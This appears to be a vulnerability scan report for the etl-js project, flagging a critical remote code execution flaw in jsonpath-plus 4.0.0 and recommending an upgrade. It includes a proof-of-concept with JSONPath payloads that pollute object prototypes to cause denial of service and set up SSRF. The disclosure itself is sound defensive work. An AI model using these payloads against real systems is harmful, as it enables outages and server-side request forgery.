Vulnerabilities

1 via 1 paths

Dependencies

51

Source

GitHub

Commit

3a5aa33d

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
Status
  • 1
  • 0
  • 0

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: jsonpath-plus
  • Introduced through: jsonpath-plus@4.0.0

Detailed paths

  • Introduced through: @lpezet/etl-js@lpezet/etl-js#3a5aa33d39e886f78d090c23ca13ba9fc2cfe144 jsonpath-plus@4.0.0
    Remediation: Upgrade to jsonpath-plus@10.2.0.

Overview

jsonpath-plus is an A JS implementation of JSONPath with some additional operators

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.

Note:

There were several attempts to fix it in versions 10.0.0-10.1.0 but it could still be exploited using different payloads.

PoC

const { JSONPath } = require("jsonpath-plus");

const pathDoS =
  "$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]";
const pathSsrf =
  "$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]";

const result = JSONPath({
  json: {
    referrer: {
      value: "http://authorized.com",
      writable: true,
    },
    method: {
      value: "POST",
      writable: true,
    },
    body: {
      value: "Hello, World!",
      writable: true,
    },
  },
  path: pathDoS,
});

result.toString(); //DoS

//fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement

Remediation

Upgrade jsonpath-plus to version 10.2.0 or higher.

References